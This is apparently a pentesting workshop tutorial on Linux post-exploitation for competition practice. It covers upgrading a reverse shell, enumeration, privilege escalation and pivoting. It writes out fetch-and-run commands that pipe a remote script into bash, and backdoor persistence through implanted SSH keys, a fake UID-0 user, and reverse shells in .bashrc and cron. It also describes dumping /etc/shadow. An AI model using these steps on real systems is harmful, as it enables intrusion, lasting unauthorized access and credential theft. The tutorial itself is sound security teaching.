Hi, welcome back to another week of intro to pentesting workshop. This week we’ll discuss how to hack your way into a Linux server and get root. This may seem like a checklist with a bit more explanation to you at the moment, so please don’t hesitate to ask questions on Discord or provide feedback here.

Though it might be an oversimplification, for the purposes of the workshop, let’s pretend that the goal of our fictional engagement is to gain root/system/domain admin on as many systems in the network as possible. Remember, as a pentester, your job is to find as many possible paths to root. So, let’s say that after some painstaking enumeration and exploitation, you finally spawned a reverse shell onto a Linux server. What do you do now?

Upgrading Your Shell

Congrats on getting a foothold on this box! Though there may be other ways to get a shell on the system (e.g., C2 implants, meterpreter payloads, etc), sometimes you’ll find yourself spawning a basic netcat reverse shell on the system. A reverse shell gives you access to everything the user could do… well almost. Before long you’ll discover that on a basic, non-interactive shell:

  • Whatever commands you send is echoed back at you.
  • Commands such as sudo, passwd, mysql, etc won’t work because they require an interactive shell (where you can provide input to the program).
  • Chances are you’ve killed your reverse shell once or twice when you actually meant to kill a hanging command with Ctrl-C.
  • CLI programs (e.g., vim) won’t work well.
  • Tab completion and escape sequences won’t work.

If you don’t like this, consider upgrading your shell:

  • Once you get a shell, check if there’s python. If there is, you’re in luck. Use python -c 'import pty; pty.spawn("/bin/bash")' to spawn an interactive shell.
  • Before we do anything, run stty -a to note down the current number of columns and rows your terminal window takes up. We’ll need it later
  • Now, if you want to tell your shell to not echo the command you typed back at you (since your reverse shell already does that), press Ctrl-Z (^Z), which suspends your reverse shell process, then type stty raw -echo to ignore inputs (e.g., passthrough Ctrl-C into the process instead of killing to reverse shell) and to disable echoing inputs.
  • Type fg to get back into the reverse shell process. You’ll notice that the command doesn’t get echoed on screen. That’s normal.
  • Run export TERM=xterm-256color, export SHELL=bash, then reset. You should now see a shell prompt.
  • Finally, to get the dimensions of the terminal correct, we’ll need the rows and columns number we recorded from earlier. Run stty rows <rows> cols <cols> to configure the terminal’s dimensions.

Or briefly:

python -c 'import pty; pty.spawn("/bin/bash")'
^Z
stty -a
stty raw -echo
fg
export TERM=xterm-256color
export SHELL=bash
reset
stty rows <rows> cols <cols>

Enjoy your fully interactive shell!

Maintaining Access

Now that you’ve got a reverse shell, you might be tempted to immediately start poking around. Slow down! We want to secure access to this system first before we start doing anything else. Oftentimes your exploit chain to get foothold can be time-consuming or tedious to carry out (or perhaps you find out you can’t exploit the service twice the hard way, who knows), so to save time in the future in case of disconnects, we need to establish persistence on the system to make sure we can access the machine without re-exploiting anything.

There’s a few ways to secure access to the system, including but not limited to:

  • Implanting SSH key: Chances are that the server runs an SSH server. On your machine, generate a key for this server using ssh-keygen -t ed25519 (I like ed25519 due to how short the pubkey is). Then, copy the output of cat ~/.ssh/id_ed25519.pub into the remote machine’s ~/.ssh/authorized_keys file. Be sure not to overwrite any existing keys! If your pubkey has a note at the end (like kali@kali), make sure to change it to something more convincing like [email protected]. Finally, take note that you added this key on this host so that you can remove it at the end of the engagement.
  • Appending the reverse shell command you used in ~/.bashrc so that every time a user logs onto the system, they’ll send a reverse shell your way.

Since we don’t have privileged access yet, there’s not much more persistence we could do at this moment.

Host Enumeration and Privilege Escalation

Confident that we can return to this machine if something goes wrong, we can begin the actual enumeration process. Just like enumerating externally available services/ports, we want to know as much as possible about this machine so that we can spot anything that’s potentially vulnerable. Needless to say, enumeration is the most important part of the process, so be as thorough as possible.

There are two ways to enumerate a machine, manual and automated. Most of time we’ll use a blend of both, since automated enumeration, while useful, often doesn’t catch everything.

Automated Enumeration

My go-to automated enumeration tool on Linux is LinPEAS, which has a ton of checks for vulnerabilities (e.g., kernel exploits, etc) and oftentimes just digs up interesting information for further investigation (e.g., file containing passwords, interesting directory you might not have found, files modified in the last 10 minutes, etc). It also has a simple but useful enough color-coding system for rating how likely something is related to privilege escalation/privesc, so if you’re ever overwhelmed by the amount of information being outputted by LinPEAS, start by just skimming for red highlights. That said, sometimes I have found useful stuff in the uncolored portion of the script output, so if the script doesn’t turn up anything interesting, read the entire thing. Despite the color-coding, there may still be a lot of noise in the output, and it really comes down to experience to filter out things that don’t actually matter (watch some IppSec videos to get a feel for this).

I won’t go into too much details here since LinPEAS tends to have links to explanations of each section anyways. Just be on the look out for anything out of the ordinary.

Uploading Your Tools

LinPEAS is nice and all, but it doesn’t help if we can’t get it onto the box. If the machine has access to the internet, you could run curl https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash to start the script. But, oftentimes the host can be locked down and doesn’t have direct access to the internet. So, instead of downloading from the internet, we download the script to our machine (or whatever machine we sent the reverse shell to), then let the server download it from there (since we know the server has network access to this box given the reverse shell works).

There are many ways to upload your tool, but I find launching a simple HTTP server to be the simplest (see also HTTP server oneliners), and out of these outliners, Python is the most accessible. To start the web server, simply cd to where you downloaded linpeas.sh then run python3 -m http.server 80. Python should now listen on all interfaces on port 80.

To actually download the file, first run ip addr to find your machine’s IP address. Make sure to find the one that’s on the right subnet (i.e., one that the remote server has access to; if you’re on a VPN make sure to use the tun interface’s IP address). Once you get the address, downloading LinPEAS should be as simple as curl http://<ip>/linpeas.sh | bash.

Manual Enumeration

Manual host enumeration generally involves using commonly available commands on systems. There are a lot of commands you could run, and chances are LinPEAS covers them anyways, but I’ll go over things you could try when LinPEAS doesn’t turn up anything.

  • Try sudo -l to see if your current user can run something as root, especially without a password. If something turns up here, chances are it’s exploitable (especially in CTF-like scenarios).
  • Any setuid/setgid binaries out of the ordinary or out of date (find / -type f -perm -4000 2>/dev/null)? Anyways you could abuse them (see gtfobins for cheat sheets)?
  • What (non-stock) services are running? Try systemctl list-unit-files --state=enabled.
    • Is there any well-known servers running? If so, what is its version, configuration (is it writable?), and might there be any public exploits available?
    • Is there anything custom running? If so, can you find where the service/script is located (use systemctl cat <service-name> for more details)? Does anything look interesting? Is the script writable for you? Any lazy use of command execution that could lead to you changing what actual program is being executed by a command (e.g., use of relative paths when executing a script)?
  • What processes are running (run ps axjf)? Anything out of the ordinary? Try running pspy (unprivileged process monitoring tool; download here) to see if there’s anything running periodically (maybe you can snatch some plaintext credentials in the commandline arguments that way).
  • Check ss (ss -plnt). Is there any services that only listens on the loopback interface (127.0.0.1, ::1)? Use SSH remote port forwarding to access the service on your own machine. Is the service running as root? Can you find exploits for it, or exploit it yourself? This also tends to be the way to go if you got foothold on a Docker container and had to find a way to escape (if regular techniques on HackTricks don’t work)
  • Check ip addr. Is there any other hosts on the subnet? Can you try pivoting to them? Perhaps you’ll find something there that’ll help you get farther on this machine later.
  • Any interesting files in your user’s directory? Any SSH/GPG keys, passwords, encrypted files, etc?

Privilege Escalation

If you’ve never heard of the phrase “privilege escalation” before, it’s just two fancy words that means getting access to users with higher privileges that you currently have through illegitimate means (su root then typing root password doesn’t really count as privesc … unless you somehow found the password lying in a encrypted KeePassXC vault with a bruteforceable password). Privilege escalation sounds cool, but it’s not something that you can just do. Although your final goal may be to gain root (and as a pentester, find all ways to root), you’ll be completely stuck if you haven’t found what’s vulnerable. In other words, privilege escalation goes hand in hand with enumeration, and you can’t really discuss the former without the latter, so don’t start worrying about privesc if you haven’t found something interesting yet.

That said, if you’re just getting started learning about pentesting, you might not know what to look for or what privilege escalation looks like, which can make host recon/enum extremely daunting, which is why I once again implore you to watch a few IppSec video walkthroughs. If you want to catch a quick glimpse of how the process goes you can also read a few of my own writeups athtb. Oftentimes, you’ll also find interesting services or things that you don’t know enough about, in which case I’d recommend reading about the services and then proceed to checklists like HackTricks to get a feel of common vulnerabilities of the service. And by all means, try hacking into a few HackTheBox / TryHackMe machines, and consult online guides if you’re stuck. This is really the best way to learn penetration testing.

Note that for CPTC specifically, the machines will likely not be as hard as HackTheBox ones, so if you can solve a HackTheBox machine, you shouldn’t worry too much about host privesc (but still you need to hone your skills for pivoting, report writing, etc). In a CPTC environment, I presume you should focus on not getting into rabbit holes (i.e., interesting things that is complicated to attack and hasn’t shown any hint of progress after 15-20 minutes) instead of trying to figure out complicated attack chains.

Persistence (Privileged)

Remember trying to establish persistence earlier as a regular user? Well, now that we’re root, we can do a lot more, including but not limited to:

  • Adding a SSH key to the root user. Remember to change PermitRootLogin to prohibit-password or yes in /etc/ssh/sshd_config.
  • Add a fake root in /etc/passwd: Duplicate the root line, just change the user name to something different. Since Linux only cares about user ID and not username, the root user and another user toor that has UID 0 are virtually indistinguishable for permission checking purposes.
  • You can also add a dummy user, then modifying sudoers file to give your dummy user root access via sudo.
  • You can set up some cronjobs / systemd timer / service / etc that sends you a reverse shell. Or perhaps some service running as root that is intentionally vulnerable.
  • You can also install rootkits or malware…

Pillaging

After establishing persistent access to root, depending on your engagement objective, you may want to extract useful data from the host. This could be dumping a database, copying sensitive files, dumping hashes from /etc/shadow, etc. This stage can be extremely dependent on the machine you’re on. If this machine is Active Directory domain-joined, you might also find some tickets and cached hashes here, which we’ll cover later.

Pivoting

Reaching root on this one machine is not the end of the journey. The machine you’re on is, most of the time, connected to an internal network, which might contain other interesting hosts. Assuming they’re in scope, you’d need to figure out how to get from your current host to these other hosts (or to find out if they’re there in the first place).

One of the first things to try is to try to scan the network for hosts. You can either install nmap on the host to scan the network (which would probably trigger some alarms), or set up a proxy so that you can run nmap from your host machine. One way to do that is with SSH dynamic port forwarding: you make the compromised SSH host act as a jump pad for all your traffic tunneled over SSH. Then a simple proxychains nmap -sn ... would work (it will be slower than regular nmap due to the proxy overhead and the lack of SYN scans). You may also want to check out chisel for a multi-platform and full-fledged tunneling tool that doesn’t need a SSH server.

See also:

  • SSH reverse dynamic proxy: same as dynamic port forward, but the remote initiate connection to you instead (needs local credentials to be on the remote)
  • SSH local port forwarding: forward traffic from local port to remote (the destination doesn’t have to be the remote host)
  • SSH remote port forwarding: save as SSH local port forwarding, except the remote initiates connection to local SSH server (needs local credentials on the remote)